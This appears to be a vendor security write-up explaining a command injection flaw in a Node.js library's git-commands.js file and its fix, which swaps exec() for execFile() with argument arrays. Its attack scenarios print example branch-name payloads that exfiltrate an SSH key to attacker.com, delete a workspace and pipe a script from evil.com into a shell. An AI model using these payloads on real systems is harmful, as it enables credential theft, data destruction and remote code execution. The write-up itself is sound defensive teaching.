How Command Injection happens in Node.js child_process calls and how to fix it

How Command Injection Happens in Node.js child_process Calls and How to Fix It

Summary

A high-severity command injection vulnerability was discovered in bin/git-commands.js, where Node.js's child_process.exec() was used to build shell commands by interpolating function arguments directly into template strings. The fix replaces exec() with execFile() and passes every argument as a discrete array element, eliminating the shell as an intermediary and closing the injection path entirely.

Introduction

The bin/git-commands.js file is the backbone of automated Git operations in this Node.js library — it handles everything from checking out branches to staging files and reading remote configurations. But a subtle, dangerous pattern ran through almost every function in the file: arguments like branch names, file lists, and commit messages were being stitched directly into shell command strings and handed to child_process.exec().

Here's the pattern, repeated across multiple functions:

// checkoutNewBranch — before the fix
async function checkoutNewBranch(name) {
  const stdout = await execAsPromise(`git checkout -b ${name}`)
  return stdout.trim()
}

// addFiles — before the fix
async function addFiles(files) {
  files = files.join(' ')
  const stdout = await execAsPromise(`git add ${files}`)
  return stdout.trim()
}

The name parameter in checkoutNewBranch and the files array in addFiles flow directly into a shell string. If either value contains shell metacharacters — ;, &&, $(...), backticks — the shell will interpret them as commands, not data. Since this is a library, downstream consumers control these values.

The Vulnerability Explained

What Makes exec() Dangerous Here

child_process.exec() works by passing the entire command string to /bin/sh -c (or cmd.exe on Windows). That means the shell parses the string before Git ever sees it. Template string interpolation like `git checkout -b ${name}` is functionally identical to:

/bin/sh -c "git checkout -b <name>"

If name is a normal branch name like feature/my-feature, everything is fine. But if name is something like:

feature/x; curl https://attacker.com/exfil?data=$(cat ~/.ssh/id_rsa)

The shell splits on ; and executes two separate commands: the legitimate git checkout -b feature/x, and the attacker's data-exfiltration command. The addFiles function is even more exposed — it joins an array of file paths with spaces and passes the whole string to the shell, meaning any file path containing shell syntax becomes an injection vector.

The Specific Vulnerable Pattern

Semgrep flagged this at line 127 in bin/git-commands.js, but the vulnerability was systemic — the execAsPromise helper was called with template strings throughout the file:

// All of these were vulnerable before the fix:
const stdout = await execAsPromise('git remote -v')
const stdout = await execAsPromise('git status --short --porcelain')
const stdout = await execAsPromise('git branch --show-current')
const stdout = await execAsPromise(`git checkout -b ${name}`)       // ← user input
const stdout = await execAsPromise(`git add . ':!${AGENT_SUB_REPO}'`)
const stdout = await execAsPromise(`git add ${files}`)              // ← user input array

The first three are lower-risk (no dynamic input), but the last three interpolate function arguments that could originate from user-controlled data in downstream consumers.

Real-World Attack Scenario

Consider a CI/CD pipeline that uses this library and derives a branch name from a pull request title or an environment variable:

const branchName = process.env.PR_BRANCH  // e.g., from a webhook payload
await checkoutNewBranch(branchName)

An attacker who can influence PR_BRANCH — perhaps through a malicious pull request, a compromised webhook, or a misconfigured environment — could set it to:

fix/legit-looking-branch; rm -rf /workspace && curl https://evil.com/backdoor | sh

The exec() call would faithfully hand this to the shell, which executes all three chained commands. In a CI/CD context, this could destroy build artifacts, exfiltrate secrets, or install a backdoor in the build environment.

The Fix

Switching from exec() to execFile() with Argument Arrays

The fix is elegant and comprehensive. The import changes from exec to execFile:

// Before
const { exec } = require('child_process')

// After
const { execFile } = require('child_process')

And every call site is refactored to pass the command and its arguments as separate array elements:

// Before — shell string interpolation
async function checkoutNewBranch(name) {
  const stdout = await execAsPromise(`git checkout -b ${name}`)
  return stdout.trim()
}

// After — argument array, no shell
async function checkoutNewBranch(name) {
  const stdout = await execAsPromise(['git', 'checkout', '-b', name])
  return stdout.trim()
}

// Before — join + interpolation (double risk)
async function addFiles(files) {
  files = files.join(' ')
  const stdout = await execAsPromise(`git add ${files}`)
  return stdout.trim()
}

// After — spread operator, each file is a discrete argument
async function addFiles(files) {
  const stdout = await execAsPromise(['git', 'add', ...files])
  return stdout.trim()
}

Why This Completely Eliminates the Injection Risk

execFile() does not invoke a shell. It calls the executable directly using execve() (on Unix) and passes arguments as a proper array to the OS. This means:

• Shell metacharacters (;, &&, |, $(), backticks) are passed as literal strings to Git, not interpreted by any shell
• A branch name of fix/x; rm -rf / is passed verbatim to git checkout -b as a single argument — Git rejects it as an invalid branch name, but no shell command is executed
• The addFiles spread (...files) ensures each file path is its own argument, so a path like legit.txt; evil_command is treated as a single (invalid) filename, not a shell injection

The fix also removes the .join(' ') call in addFiles, which was itself part of the problem — joining with spaces created a single shell-parseable string. The spread operator is the correct idiom here.

Prevention & Best Practices

1. Default to execFile() or spawn() for Shell Commands

In Node.js, treat exec() as the dangerous option that requires explicit justification. Prefer:

// Safe: no shell involved
const { execFile } = require('child_process')
execFile('git', ['status', '--short'], callback)

// Also safe: spawn with shell: false (default)
const { spawn } = require('child_process')
const proc = spawn('git', ['log', '--oneline'])

Only reach for exec() when you genuinely need shell features like pipes (|) or glob expansion, and even then, sanitize inputs rigorously.

2. Never Interpolate External Input into Shell Strings

If you must use exec(), treat any value that crossed a trust boundary as tainted. Use an allowlist of permitted characters (e.g., alphanumerics, -, _, / for branch names) before interpolation:

function sanitizeBranchName(name) {
  if (!/^[a-zA-Z0-9/_.-]+$/.test(name)) {
    throw new Error(`Invalid branch name: ${name}`)
  }
  return name
}

But the better answer is: don't interpolate at all. Use execFile().

3. Treat Library Code with Extra Scrutiny

This vulnerability is particularly important in a library context. The library authors may not control what values consumers pass to checkoutNewBranch() or addFiles(). Every function that accepts external arguments and passes them to a shell is a potential injection vector for every downstream user.

4. Use Static Analysis in CI

The Semgrep rule javascript.lang.security.detect-child-process.detect-child-process caught this pattern automatically. Add it to your CI pipeline:

# .github/workflows/semgrep.yml
- uses: semgrep/semgrep-action@v1
  with:
    config: p/nodejs-security

5. OWASP & CWE References

This vulnerability maps to:
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- OWASP A03:2021 – Injection
- OWASP Command Injection Defense Cheat Sheet recommends avoiding shell invocation entirely when possible — exactly what this fix achieves

Key Takeaways

• exec() with template strings is a shell injection primitive: Every `git checkout -b ${name}` pattern in git-commands.js was a latent injection vector, even if not immediately exploitable in isolation.
• addFiles() had compounded risk: The .join(' ') call created a single shell string from an array of file paths — doubling down on the injection surface before passing to exec().
• execFile() + argument arrays is the correct Node.js idiom for subprocess calls: It bypasses the shell entirely, making metacharacter injection structurally impossible regardless of input content.
• Library code has a larger blast radius: Vulnerabilities in git-commands.js affect every downstream consumer of this package, not just this one repository.
• Semgrep's detect-child-process rule is a reliable detector: It correctly identified the function-argument-to-exec pattern across all six call sites in this file.

How Orbis AppSec Detected This

• Source: Function arguments (name in checkoutNewBranch, files in addFiles, message in commit) passed by library consumers — potentially user-controlled in downstream applications
• Sink: child_process.exec() called via execAsPromise() at line 127 in bin/git-commands.js, with arguments interpolated directly into template string shell commands
• Missing control: No shell metacharacter sanitization, no allowlist validation, and no use of the shell-bypassing execFile() API
• CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
• Fix: Replaced exec() with execFile() and refactored all six call sites to pass command arguments as discrete array elements, eliminating shell interpolation entirely

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The vulnerability in bin/git-commands.js is a textbook example of how a convenient API choice — exec() with template strings — quietly introduces command injection risk into code that otherwise looks reasonable. The fix isn't complicated: swap exec() for execFile(), pass arguments as arrays, and the shell never enters the picture. What makes this case instructive is the library context: the authors of git-commands.js may write perfectly safe callers, but they cannot control how downstream consumers use checkoutNewBranch() or addFiles(). In library code especially, eliminating the shell as an intermediary is the only safe default.

The broader lesson is architectural: treat exec() the way you treat eval() — as a function that requires explicit justification and careful review every time it appears. When you find it accepting function arguments, that's a signal to reach for execFile() instead.

References

• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• OWASP Command Injection Defense Cheat Sheet
• Node.js child_process.execFile() Documentation
• Semgrep Rule: detect-child-process
• harden: sanitize child_process call in git-commands.js...